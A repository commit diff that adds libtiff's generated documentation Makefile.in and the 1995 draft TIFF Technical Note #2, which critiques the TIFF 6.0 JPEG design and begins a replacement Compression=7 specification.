+PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@
+PACKAGE_NAME = @PACKAGE_NAME@
+PACKAGE_STRING = @PACKAGE_STRING@
+PACKAGE_TARNAME = @PACKAGE_TARNAME@
+PACKAGE_VERSION = @PACKAGE_VERSION@
+PATH_SEPARATOR = @PATH_SEPARATOR@
+PTHREAD_CC = @PTHREAD_CC@
+PTHREAD_CFLAGS = @PTHREAD_CFLAGS@
+PTHREAD_LIBS = @PTHREAD_LIBS@
+RANLIB = @RANLIB@
+SED = @SED@
+SET_MAKE = @SET_MAKE@
+SHELL = @SHELL@
+STRIP = @STRIP@
+VERSION = @VERSION@
+X_CFLAGS = @X_CFLAGS@
+X_EXTRA_LIBS = @X_EXTRA_LIBS@
+X_LIBS = @X_LIBS@
+X_PRE_LIBS = @X_PRE_LIBS@
+ac_ct_AR = @ac_ct_AR@
+ac_ct_AS = @ac_ct_AS@
+ac_ct_CC = @ac_ct_CC@
+ac_ct_CXX = @ac_ct_CXX@
+ac_ct_DLLTOOL = @ac_ct_DLLTOOL@
+ac_ct_DUMPBIN = @ac_ct_DUMPBIN@
+ac_ct_OBJDUMP = @ac_ct_OBJDUMP@
+ac_ct_RANLIB = @ac_ct_RANLIB@
+ac_ct_STRIP = @ac_ct_STRIP@
+acx_pthread_config = @acx_pthread_config@
+am__fastdepCC_FALSE = @am__fastdepCC_FALSE@
+am__fastdepCC_TRUE = @am__fastdepCC_TRUE@
+am__fastdepCXX_FALSE = @am__fastdepCXX_FALSE@
+am__fastdepCXX_TRUE = @am__fastdepCXX_TRUE@
+am__include = @am__include@
+am__leading_dot = @am__leading_dot@
+am__quote = @am__quote@
+am__tar = @am__tar@
+am__untar = @am__untar@
+bindir = @bindir@
+build = @build@
+build_alias = @build_alias@
+build_cpu = @build_cpu@
+build_os = @build_os@
+build_vendor = @build_vendor@
+datadir = @datadir@
+exec_prefix = @exec_prefix@
+host = @host@
+host_alias = @host_alias@
+host_cpu = @host_cpu@
+host_os = @host_os@
+host_vendor = @host_vendor@
+includedir = @includedir@
+infodir = @infodir@
+install_sh = @install_sh@
+libdir = @libdir@
+libexecdir = @libexecdir@
+localstatedir = @localstatedir@
+lt_ECHO = @lt_ECHO@
+mandir = @mandir@
+mkdir_p = @mkdir_p@
+oldincludedir = @oldincludedir@
+prefix = @prefix@
+program_transform_name = @program_transform_name@
+sbindir = @sbindir@
+sharedstatedir = @sharedstatedir@
+sysconfdir = @sysconfdir@
+target = @target@
+target_alias = @target_alias@
+target_cpu = @target_cpu@
+target_os = @target_os@
+target_vendor = @target_vendor@
+docdir = $(LIBTIFF_DOCDIR)/html
+docfiles = \
+	addingtags.html \
+	bugs.html \
+	build.html \
+	contrib.html \
+	document.html \
+	images.html \
+	index.html \
+	internals.html \
+	intro.html \
+	libtiff.html \
+	misc.html \
+	support.html \
+	TIFFTechNote2.html \
+	tools.html \
+	v3.4beta007.html \
+	v3.4beta016.html \
+	v3.4beta018.html \
+	v3.4beta024.html \
+	v3.4beta028.html \
+	v3.4beta029.html \
+	v3.4beta031.html \
+	v3.4beta032.html \
+	v3.4beta033.html \
+	v3.4beta034.html \
+	v3.4beta035.html \
+	v3.4beta036.html \
+	v3.5.1.html \
+	v3.5.2.html \
+	v3.5.3.html \
+	v3.5.4.html \
+	v3.5.5.html \
+	v3.5.6-beta.html \
+	v3.5.7.html \
+	v3.6.0.html \
+	v3.6.1.html \
+	v3.7.0alpha.html \
+	v3.7.0beta.html \
+	v3.7.0beta2.html \
+	v3.7.0.html \
+	v3.7.1.html \
+	v3.7.2.html \
+	v3.7.3.html \
+	v3.7.4.html \
+	v3.8.0.html \
+	v3.8.1.html \
+	v3.8.2.html
+
+dist_doc_DATA = $(docfiles)
+SUBDIRS = images man
+all: all-recursive
+
+.SUFFIXES:
+$(srcdir)/Makefile.in: @MAINTAINER_MODE_TRUE@ $(srcdir)/Makefile.am  $(am__configure_deps)
+	@for dep in $?; do \
+	  case '$(am__configure_deps)' in \
+	    *$$dep*) \
+	      cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh \
+		&& exit 0; \
+	      exit 1;; \
+	  esac; \
+	done; \
+	echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign  html/Makefile'; \
+	cd $(top_srcdir) && \
+	  $(AUTOMAKE) --foreign  html/Makefile
+.PRECIOUS: Makefile
+Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status
+	@case '$?' in \
+	  *config.status*) \
+	    cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \
+	  *) \
+	    echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)'; \
+	    cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe);; \
+	esac;
+
+$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+$(top_srcdir)/configure: @MAINTAINER_MODE_TRUE@ $(am__configure_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+$(ACLOCAL_M4): @MAINTAINER_MODE_TRUE@ $(am__aclocal_m4_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+mostlyclean-libtool:
+	-rm -f *.lo
+
+clean-libtool:
+	-rm -rf .libs _libs
+
+distclean-libtool:
+	-rm -f libtool
+uninstall-info-am:
+install-dist_docDATA: $(dist_doc_DATA)
+	@$(NORMAL_INSTALL)
+	test -z "$(docdir)" || $(mkdir_p) "$(DESTDIR)$(docdir)"
+	@list='$(dist_doc_DATA)'; for p in $$list; do \
+	  if test -f "$$p"; then d=; else d="$(srcdir)/"; fi; \
+	  f=$(am__strip_dir) \
+	  echo " $(dist_docDATA_INSTALL) '$$d$$p' '$(DESTDIR)$(docdir)/$$f'"; \
+	  $(dist_docDATA_INSTALL) "$$d$$p" "$(DESTDIR)$(docdir)/$$f"; \
+	done
+
+uninstall-dist_docDATA:
+	@$(NORMAL_UNINSTALL)
+	@list='$(dist_doc_DATA)'; for p in $$list; do \
+	  f=$(am__strip_dir) \
+	  echo " rm -f '$(DESTDIR)$(docdir)/$$f'"; \
+	  rm -f "$(DESTDIR)$(docdir)/$$f"; \
+	done
+
+# This directory's subdirectories are mostly independent; you can cd
+# into them and run `make' without going through this Makefile.
+# To change the values of `make' variables: instead of editing Makefiles,
+# (1) if the variable is set in `config.status', edit `config.status'
+#     (which will cause the Makefiles to be regenerated when you run `make');
+# (2) otherwise, pass the desired values on the `make' command line.
+$(RECURSIVE_TARGETS):
+	@failcom='exit 1'; \
+	for f in x $$MAKEFLAGS; do \
+	  case $$f in \
+	    *=* | --[!k]*);; \
+	    *k*) failcom='fail=yes';; \
+	  esac; \
+	done; \
+	dot_seen=no; \
+	target=`echo $@ | sed s/-recursive//`; \
+	list='$(SUBDIRS)'; for subdir in $$list; do \
+	  echo "Making $$target in $$subdir"; \
+	  if test "$$subdir" = "."; then \
+	    dot_seen=yes; \
+	    local_target="$$target-am"; \
+	  else \
+	    local_target="$$target"; \
+	  fi; \
+	  (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) $$local_target) \
+	  || eval $$failcom; \
+	done; \
+	if test "$$dot_seen" = "no"; then \
+	  $(MAKE) $(AM_MAKEFLAGS) "$$target-am" || exit 1; \
+	fi; test -z "$$fail"
+
+mostlyclean-recursive clean-recursive distclean-recursive \
+maintainer-clean-recursive:
+	@failcom='exit 1'; \
+	for f in x $$MAKEFLAGS; do \
+	  case $$f in \
+	    *=* | --[!k]*);; \
+	    *k*) failcom='fail=yes';; \
+	  esac; \
+	done; \
+	dot_seen=no; \
+	case "$@" in \
+	  distclean-* | maintainer-clean-*) list='$(DIST_SUBDIRS)' ;; \
+	  *) list='$(SUBDIRS)' ;; \
+	esac; \
+	rev=''; for subdir in $$list; do \
+	  if test "$$subdir" = "."; then :; else \
+	    rev="$$subdir $$rev"; \
+	  fi; \
+	done; \
+	rev="$$rev ."; \
+	target=`echo $@ | sed s/-recursive//`; \
+	for subdir in $$rev; do \
+	  echo "Making $$target in $$subdir"; \
+	  if test "$$subdir" = "."; then \
+	    local_target="$$target-am"; \
+	  else \
+	    local_target="$$target"; \
+	  fi; \
+	  (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) $$local_target) \
+	  || eval $$failcom; \
+	done && test -z "$$fail"
+tags-recursive:
+	list='$(SUBDIRS)'; for subdir in $$list; do \
+	  test "$$subdir" = . || (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) tags); \
+	done
+ctags-recursive:
+	list='$(SUBDIRS)'; for subdir in $$list; do \
+	  test "$$subdir" = . || (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) ctags); \
+	done
+
+ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES)
+	list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \
+	unique=`for i in $$list; do \
+	    if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+	  done | \
+	  $(AWK) '    { files[$$0] = 1; } \
+	       END { for (i in files) print i; }'`; \
+	mkid -fID $$unique
+tags: TAGS
+
+TAGS: tags-recursive $(HEADERS) $(SOURCES)  $(TAGS_DEPENDENCIES) \
+		$(TAGS_FILES) $(LISP)
+	tags=; \
+	here=`pwd`; \
+	if ($(ETAGS) --etags-include --version) >/dev/null 2>&1; then \
+	  include_option=--etags-include; \
+	  empty_fix=.; \
+	else \
+	  include_option=--include; \
+	  empty_fix=; \
+	fi; \
+	list='$(SUBDIRS)'; for subdir in $$list; do \
+	  if test "$$subdir" = .; then :; else \
+	    test ! -f $$subdir/TAGS || \
+	      tags="$$tags $$include_option=$$here/$$subdir/TAGS"; \
+	  fi; \
+	done; \
+	list='$(SOURCES) $(HEADERS)  $(LISP) $(TAGS_FILES)'; \
+	unique=`for i in $$list; do \
+	    if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+	  done | \
+	  $(AWK) '    { files[$$0] = 1; } \
+	       END { for (i in files) print i; }'`; \
+	if test -z "$(ETAGS_ARGS)$$tags$$unique"; then :; else \
+	  test -n "$$unique" || unique=$$empty_fix; \
+	  $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \
+	    $$tags $$unique; \
+	fi
+ctags: CTAGS
+CTAGS: ctags-recursive $(HEADERS) $(SOURCES)  $(TAGS_DEPENDENCIES) \
+		$(TAGS_FILES) $(LISP)
+	tags=; \
+	here=`pwd`; \
+	list='$(SOURCES) $(HEADERS)  $(LISP) $(TAGS_FILES)'; \
+	unique=`for i in $$list; do \
+	    if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+	  done | \
+	  $(AWK) '    { files[$$0] = 1; } \
+	       END { for (i in files) print i; }'`; \
+	test -z "$(CTAGS_ARGS)$$tags$$unique" \
+	  || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \
+	     $$tags $$unique
+
+GTAGS:
+	here=`$(am__cd) $(top_builddir) && pwd` \
+	  && cd $(top_srcdir) \
+	  && gtags -i $(GTAGS_ARGS) $$here
+
+distclean-tags:
+	-rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags
+
+distdir: $(DISTFILES)
+	@srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`; \
+	topsrcdirstrip=`echo "$(top_srcdir)" | sed 's|.|.|g'`; \
+	list='$(DISTFILES)'; for file in $$list; do \
+	  case $$file in \
+	    $(srcdir)/*) file=`echo "$$file" | sed "s|^$$srcdirstrip/||"`;; \
+	    $(top_srcdir)/*) file=`echo "$$file" | sed "s|^$$topsrcdirstrip/|$(top_builddir)/|"`;; \
+	  esac; \
+	  if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \
+	  dir=`echo "$$file" | sed -e 's,/[^/]*$$,,'`; \
+	  if test "$$dir" != "$$file" && test "$$dir" != "."; then \
+	    dir="/$$dir"; \
+	    $(mkdir_p) "$(distdir)$$dir"; \
+	  else \
+	    dir=''; \
+	  fi; \
+	  if test -d $$d/$$file; then \
+	    if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
+	      cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \
+	    fi; \
+	    cp -pR $$d/$$file $(distdir)$$dir || exit 1; \
+	  else \
+	    test -f $(distdir)/$$file \
+	    || cp -p $$d/$$file $(distdir)/$$file \
+	    || exit 1; \
+	  fi; \
+	done
+	list='$(DIST_SUBDIRS)'; for subdir in $$list; do \
+	  if test "$$subdir" = .; then :; else \
+	    test -d "$(distdir)/$$subdir" \
+	    || $(mkdir_p) "$(distdir)/$$subdir" \
+	    || exit 1; \
+	    distdir=`$(am__cd) $(distdir) && pwd`; \
+	    top_distdir=`$(am__cd) $(top_distdir) && pwd`; \
+	    (cd $$subdir && \
+	      $(MAKE) $(AM_MAKEFLAGS) \
+	        top_distdir="$$top_distdir" \
+	        distdir="$$distdir/$$subdir" \
+	        distdir) \
+	      || exit 1; \
+	  fi; \
+	done
+check-am: all-am
+check: check-recursive
+all-am: Makefile $(DATA)
+installdirs: installdirs-recursive
+installdirs-am:
+	for dir in "$(DESTDIR)$(docdir)"; do \
+	  test -z "$$dir" || $(mkdir_p) "$$dir"; \
+	done
+install: install-recursive
+install-exec: install-exec-recursive
+install-data: install-data-recursive
+uninstall: uninstall-recursive
+
+install-am: all-am
+	@$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am
+
+installcheck: installcheck-recursive
+install-strip:
+	$(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \
+	  install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \
+	  `test -z '$(STRIP)' || \
+	    echo "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'"` install
+mostlyclean-generic:
+
+clean-generic:
+
+distclean-generic:
+	-test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES)
+
+maintainer-clean-generic:
+	@echo "This command is intended for maintainers to use"
+	@echo "it deletes files that may require special tools to rebuild."
+clean: clean-recursive
+
+clean-am: clean-generic clean-libtool mostlyclean-am
+
+distclean: distclean-recursive
+	-rm -f Makefile
+distclean-am: clean-am distclean-generic distclean-libtool \
+	distclean-tags
+
+dvi: dvi-recursive
+
+dvi-am:
+
+html: html-recursive
+
+info: info-recursive
+
+info-am:
+
+install-data-am: install-dist_docDATA
+
+install-exec-am:
+
+install-info: install-info-recursive
+
+install-man:
+
+installcheck-am:
+
+maintainer-clean: maintainer-clean-recursive
+	-rm -f Makefile
+maintainer-clean-am: distclean-am maintainer-clean-generic
+
+mostlyclean: mostlyclean-recursive
+
+mostlyclean-am: mostlyclean-generic mostlyclean-libtool
+
+pdf: pdf-recursive
+
+pdf-am:
+
+ps: ps-recursive
+
+ps-am:
+
+uninstall-am: uninstall-dist_docDATA uninstall-info-am
+
+uninstall-info: uninstall-info-recursive
+
+.PHONY: $(RECURSIVE_TARGETS) CTAGS GTAGS all all-am check check-am \
+	clean clean-generic clean-libtool clean-recursive ctags \
+	ctags-recursive distclean distclean-generic distclean-libtool \
+	distclean-recursive distclean-tags distdir dvi dvi-am html \
+	html-am info info-am install install-am install-data \
+	install-data-am install-dist_docDATA install-exec \
+	install-exec-am install-info install-info-am install-man \
+	install-strip installcheck installcheck-am installdirs \
+	installdirs-am maintainer-clean maintainer-clean-generic \
+	maintainer-clean-recursive mostlyclean mostlyclean-generic \
+	mostlyclean-libtool mostlyclean-recursive pdf pdf-am ps ps-am \
+	tags tags-recursive uninstall uninstall-am \
+	uninstall-dist_docDATA uninstall-info-am
+
+# Tell versions [3.59,3.63) of GNU make to not export all variables.
+# Otherwise a system limit (for SysV at least) may be exceeded.
+.NOEXPORT:

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/TIFFTechNote2.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/TIFFTechNote2.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/TIFFTechNote2.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/TIFFTechNote2.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/TIFFTechNote2.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,707 @@
+<pre>
+DRAFT TIFF Technical Note #2				17-Mar-95
+============================
+
+This Technical Note describes serious problems that have been found in
+TIFF 6.0's design for embedding JPEG-compressed data in TIFF (Section 22
+of the TIFF 6.0 spec of 3 June 1992).  A replacement TIFF/JPEG
+specification is given.  Some corrections to Section 21 are also given.
+
+To permit TIFF implementations to continue to read existing files, the 6.0
+JPEG fields and tag values will remain reserved indefinitely.  However,
+TIFF writers are strongly discouraged from using the 6.0 JPEG design.  It
+is expected that the next full release of the TIFF specification will not
+describe the old design at all, except to note that certain tag numbers
+are reserved.  The existing Section 22 will be replaced by the
+specification text given in the second part of this Tech Note.
+
+
+Problems in TIFF 6.0 JPEG
+=========================
+
+Abandoning a published spec is not a step to be taken lightly.  This
+section summarizes the reasons that have forced this decision.
+TIFF 6.0's JPEG design suffers from design errors and limitations,
+ambiguities, and unnecessary complexity.
+
+
+Design errors and limitations
+-----------------------------
+
+The fundamental design error in the existing Section 22 is that JPEG's
+various tables and parameters are broken out as separate fields which the
+TIFF control logic must manage.  This is bad software engineering: that
+information should be treated as private to the JPEG codec
+(compressor/decompressor).  Worse, the fields themselves are specified
+without sufficient thought for future extension and without regard to
+well-established TIFF conventions.  Here are some of the significant
+problems:
+
+* The JPEGxxTable fields do not store the table data directly in the
+IFD/field structure; rather, the fields hold pointers to information
+elsewhere in the file.  This requires special-purpose code to be added to
+*every* TIFF-manipulating application, whether it needs to decode JPEG
+image data or not.  Even a trivial TIFF editor, for example a program to
+add an ImageDescription field to a TIFF file, must be explicitly aware of
+the internal structure of the JPEG-related tables, or else it will probably
+break the file.  Every other auxiliary field in the TIFF spec contains
+data, not pointers, and can be copied or relocated by standard code that
+doesn't know anything about the particular field.  This is a crucial
+property of the TIFF format that must not be given up.
+
+* To manipulate these fields, the TIFF control logic is required to know a
+great deal about JPEG details, for example such arcana as how to compute
+the length of a Huffman code table --- the length is not supplied in the
+field structure and can only be found by inspecting the table contents.
+This is again a violation of good software practice.  Moreover, it will
+prevent easy adoption of future JPEG extensions that might change these
+low-level details.
+
+* The design neglects the fact that baseline JPEG codecs support only two
+sets of Huffman tables: it specifies a separate table for each color
+component.  This implies that encoders must waste space (by storing
+duplicate Huffman tables) or else violate the well-founded TIFF convention
+that prohibits duplicate pointers.  Furthermore, baseline decoders must
+test to find out which tables are identical, a waste of time and code
+space.
+
+* The JPEGInterchangeFormat field also violates TIFF's proscription against
+duplicate pointers: the normal strip/tile pointers are expected to point
+into the larger data area pointed to by JPEGInterchangeFormat.  All TIFF
+editing applications must be specifically aware of this relationship, since
+they must maintain it or else delete the JPEGInterchangeFormat field.  The
+JPEGxxTables fields are also likely to point into the JPEGInterchangeFormat
+area, creating additional pointer relationships that must be maintained.
+
+* The JPEGQTables field is fixed at a byte per table entry; there is no
+way to support 16-bit quantization values.  This is a serious impediment
+to extending TIFF to use 12-bit JPEG.
+
+* The 6.0 design cannot support using different quantization tables in
+different strips/tiles of an image (so as to encode some areas at higher
+quality than others).  Furthermore, since quantization tables are tied
+one-for-one to color components, the design cannot support table switching
+options that are likely to be added in future JPEG revisions.
+
+
+Ambiguities
+-----------
+
+Several incompatible interpretations are possible for 6.0's treatment of
+JPEG restart markers:
+
+  * It is unclear whether restart markers must be omitted at TIFF segment
+    (strip/tile) boundaries, or whether they are optional.
+
+  * It is unclear whether the segment size is required to be chosen as
+    a multiple of the specified restart interval (if any); perhaps the
+    JPEG codec is supposed to be reset at each segment boundary as if
+    there were a restart marker there, even if the boundary does not fall
+    at a multiple of the nominal restart interval.
+
+  * The spec fails to address the question of restart marker numbering:
+    do the numbers begin again within each segment, or not?
+
+That last point is particularly nasty.  If we make numbering begin again
+within each segment, we give up the ability to impose a TIFF strip/tile
+structure on an existing JPEG datastream with restarts (which was clearly a
+goal of Section 22's authors).  But the other choice interferes with random
+access to the image segments: a reader must compute the first restart
+number to be expected within a segment, and must have a way to reset its
+JPEG decoder to expect a nonzero restart number first.  This may not even
+be possible with some JPEG chips.
+
+The tile height restriction found on page 104 contradicts Section 15's
+general description of tiles.  For an image that is not vertically
+downsampled, page 104 specifies a tile height of one MCU or 8 pixels; but
+Section 15 requires tiles to be a multiple of 16 pixels high.
+
+This Tech Note does not attempt to resolve these ambiguities, so
+implementations that follow the 6.0 design should be aware that
+inter-application compatibility problems are likely to arise.
+
+
+Unnecessary complexity
+----------------------
+
+The 6.0 design creates problems for implementations that need to keep the
+JPEG codec separate from the TIFF control logic --- for example, consider
+using a JPEG chip that was not designed specifically for TIFF.  JPEG codecs
+generally want to produce or consume a standard ISO JPEG datastream, not
+just raw compressed data.  (If they were to handle raw data, a separate
+out-of-band mechanism would be needed to load tables into the codec.)
+With such a codec, the TIFF control logic must parse JPEG markers emitted
+by the codec to create the TIFF table fields (when writing) or synthesize
+JPEG markers from the TIFF fields to feed the codec (when reading).  This
+means that the control logic must know a great deal more about JPEG details
+than we would like.  The parsing and reconstruction of the markers also
+represents a fair amount of unnecessary work.
+
+Quite a few implementors have proposed writing "TIFF/JPEG" files in which
+a standard JPEG datastream is simply dumped into the file and pointed to
+by JPEGInterchangeFormat.  To avoid parsing the JPEG datastream, they
+suggest not writing the JPEG auxiliary fields (JPEGxxTables etc) nor even
+the basic TIFF strip/tile data pointers.  This approach is incompatible
+with implementations that handle the full TIFF 6.0 JPEG design, since they
+will expect to find strip/tile pointers and auxiliary fields.  Indeed this
+is arguably not TIFF at all, since *all* TIFF-reading applications expect
+to find strip or tile pointers.  A subset implementation that is not
+upward-compatible with the full spec is clearly unacceptable.  However,
+the frequency with which this idea has come up makes it clear that
+implementors find the existing Section 22 too complex.
+
+
+Overview of the solution
+========================
+
+To solve these problems, we adopt a new design for embedding
+JPEG-compressed data in TIFF files.  The new design uses only complete,
+uninterpreted ISO JPEG datastreams, so it should be much more forgiving of
+extensions to the ISO standard.  It should also be far easier to implement
+using unmodified JPEG codecs.
+
+To reduce overhead in multi-segment TIFF files, we allow JPEG overhead
+tables to be stored just once in a JPEGTables auxiliary field.  This
+feature does not violate the integrity of the JPEG datastreams, because it
+uses the notions of "tables-only datastreams" and "abbreviated image
+datastreams" as defined by the ISO standard.
+
+To prevent confusion with the old design, the new design is given a new
+Compression tag value, Compression=7.  Readers that need to handle
+existing 6.0 JPEG files may read both old and new files, using whatever
+interpretation of the 6.0 spec they did before.  Compression tag value 6
+and the field tag numbers defined by 6.0 section 22 will remain reserved
+indefinitely, even though detailed descriptions of them will be dropped
+from future editions of the TIFF specification.
+
+
+Replacement TIFF/JPEG specification
+===================================
+
+[This section of the Tech Note is expected to replace Section 22 in the
+next release of the TIFF specification.]
+
+This section describes TIFF compression scheme 7, a high-performance
+compression method for continuous-tone images.
+
+Introduction
+------------
+
+This TIFF compression method uses the international standard for image
+compression ISO/IEC 10918-1, usually known as "JPEG" (after the original
+name of the standards committee, Joint Photographic Experts Group).  JPEG
+is a joint ISO/CCITT standard for compression of continuous-tone images.
+
+The JPEG committee decided that because of the broad scope of the standard,
+no one algorithmic procedure was able to satisfy the requirements of all
+applications.  Instead, the JPEG standard became a "toolkit" of multiple
+algorithms and optional capabilities.  Individual applications may select
+a subset of the JPEG standard that meets their requirements.
+
+The most important distinction among the JPEG processes is between lossy
+and lossless compression.  Lossy compression methods provide high
+compression but allow only approximate reconstruction of the original
+image.  JPEG's lossy processes allow the encoder to trade off compressed
+file size against reconstruction fidelity over a wide range.  Typically,
+10:1 or more compression of full-color data can be obtained while keeping
+the reconstructed image visually indistinguishable from the original.  Much
+higher compression ratios are possible if a low-quality reconstructed image
+is acceptable.  Lossless compression provides exact reconstruction of the
+source data, but the achievable compression ratio is much lower than for
+the lossy processes; JPEG's rather simple lossless process typically
+achieves around 2:1 compression of full-color data.
+
+The most widely implemented JPEG subset is the "baseline" JPEG process.
+This provides lossy compression of 8-bit-per-channel data.  Optional
+extensions include 12-bit-per-channel data, arithmetic entropy coding for
+better compression, and progressive/hierarchical representations.  The
+lossless process is an independent algorithm that has little in
+common with the lossy processes.
+
+It should be noted that the optional arithmetic-coding extension is subject
+to several US and Japanese patents.  To avoid patent problems, use of
+arithmetic coding processes in TIFF files intended for inter-application
+interchange is discouraged.
+
+All of the JPEG processes are useful only for "continuous tone" data,
+in which the difference between adjacent pixel values is usually small.
+Low-bit-depth source data is not appropriate for JPEG compression, nor
+are palette-color images good candidates.  The JPEG processes work well
+on grayscale and full-color data.
+
+Describing the JPEG compression algorithms in sufficient detail to permit
+implementation would require more space than we have here.  Instead, we
+refer the reader to the References section.
+
+
+What data is being compressed?
+------------------------------
+
+In lossy JPEG compression, it is customary to convert color source data
+to YCbCr and then downsample it before JPEG compression.  This gives
+2:1 data compression with hardly any visible image degradation, and it
+permits additional space savings within the JPEG compression step proper.
+However, these steps are not considered part of the ISO JPEG standard.
+The ISO standard is "color blind": it accepts data in any color space.
+
+For TIFF purposes, the JPEG compression tag is considered to represent the
+ISO JPEG compression standard only.  The ISO standard is applied to the
+same data that would be stored in the TIFF file if no compression were
+used.  Therefore, if color conversion or downsampling are used, they must
+be reflected in the regular TIFF fields; these steps are not considered to
+be implicit in the JPEG compression tag value.  PhotometricInterpretation
+and related fields shall describe the color space actually stored in the
+file.  With the TIFF 6.0 field definitions, downsampling is permissible
+only for YCbCr data, and it must correspond to the YCbCrSubSampling field.
+(Note that the default value for this field is not 1,1; so the default for
+YCbCr is to apply downsampling!)  It is likely that future versions of TIFF
+will provide additional PhotometricInterpretation values and a more general
+way of defining subsampling, so as to allow more flexibility in
+JPEG-compressed files.  But that issue is not addressed in this Tech Note.
+
+Implementors should note that many popular JPEG codecs
+(compressor/decompressors) provide automatic color conversion and
+downsampling, so that the application may supply full-size RGB data which
+is nonetheless converted to downsampled YCbCr.  This is an implementation
+convenience which does not excuse the TIFF control layer from its
+responsibility to know what is really going on.  The
+PhotometricInterpretation and subsampling fields written to the file must
+describe what is actually in the file.
+
+A JPEG-compressed TIFF file will typically have PhotometricInterpretation =
+YCbCr and YCbCrSubSampling = [2,1] or [2,2], unless the source data was
+grayscale or CMYK.
+
+
+Basic representation of JPEG-compressed images
+----------------------------------------------
+
+JPEG compression works in either strip-based or tile-based TIFF files.
+Rather than repeating "strip or tile" constantly, we will use the term
+"segment" to mean either a strip or a tile.
+
+When the Compression field has the value 7, each image segment contains
+a complete JPEG datastream which is valid according to the ISO JPEG
+standard (ISO/IEC 10918-1).  Any sequential JPEG process can be used,
+including lossless JPEG, but progressive and hierarchical processes are not
+supported.  Since JPEG is useful only for continuous-tone images, the
+PhotometricInterpretation of the image shall not be 3 (palette color) nor
+4 (transparency mask).  The bit depth of the data is also restricted as
+specified below.
+
+Each image segment in a JPEG-compressed TIFF file shall contain a valid
+JPEG datastream according to the ISO JPEG standard's rules for
+interchange-format or abbreviated-image-format data.  The datastream shall
+contain a single JPEG frame storing that segment of the image.  The
+required JPEG markers within a segment are:
+	SOI	(must appear at very beginning of segment)
+	SOFn
+	SOS	(one for each scan, if there is more than one scan)
+	EOI	(must appear at very end of segment)
+The actual compressed data follows SOS; it may contain RSTn markers if DRI
+is used.
+
+Additional JPEG "tables and miscellaneous" markers may appear between SOI
+and SOFn, between SOFn and SOS, and before each subsequent SOS if there is
+more than one scan.  These markers include:
+	DQT
+	DHT
+	DAC	(not to appear unless arithmetic coding is used)
+	DRI
+	APPn	(shall be ignored by TIFF readers)
+	COM	(shall be ignored by TIFF readers)
+DNL markers shall not be used in TIFF files.  Readers should abort if any
+other marker type is found, especially the JPEG reserved markers;
+occurrence of such a marker is likely to indicate a JPEG extension.
+
+The tables/miscellaneous markers may appear in any order.  Readers are
+cautioned that although the SOFn marker refers to DQT tables, JPEG does not
+require those tables to precede the SOFn, only the SOS.  Missing-table
+checks should be made when SOS is reached.
+
+If no JPEGTables field is used, then each image segment shall be a complete
+JPEG interchange datastream.  Each segment must define all the tables it
+references.  To allow readers to decode segments in any order, no segment
+may rely on tables being carried over from a previous segment.
+
+When a JPEGTables field is used, image segments may omit tables that have
+been specified in the JPEGTables field.  Further details appear below.
+
+The SOFn marker shall be of type SOF0 for strict baseline JPEG data, of
+type SOF1 for non-baseline lossy JPEG data, or of type SOF3 for lossless
+JPEG data.  (SOF9 or SOF11 would be used for arithmetic coding.)  All
+segments of a JPEG-compressed TIFF image shall use the same JPEG
+compression process, in particular the same SOFn type.
+
+The data precision field of the SOFn marker shall agree with the TIFF
+BitsPerSample field.  (Note that when PlanarConfiguration=1, this implies
+that all components must have the same BitsPerSample value; when
+PlanarConfiguration=2, different components could have different bit
+depths.)  For SOF0 only precision 8 is permitted; for SOF1, precision 8 or
+12 is permitted; for SOF3, precisions 2 to 16 are permitted.
+
+The image dimensions given in the SOFn marker shall agree with the logical
+dimensions of that particular strip or tile.  For strip images, the SOFn
+image width shall equal ImageWidth and the height shall equal RowsPerStrip,
+except in the last strip; its SOFn height shall equal the number of rows
+remaining in the ImageLength.  (In other words, no padding data is counted
+in the SOFn dimensions.)  For tile images, each SOFn shall have width
+TileWidth and height TileHeight; adding and removing any padding needed in
+the edge tiles is the concern of some higher level of the TIFF software.
+(The dimensional rules are slightly different when PlanarConfiguration=2,
+as described below.)
+
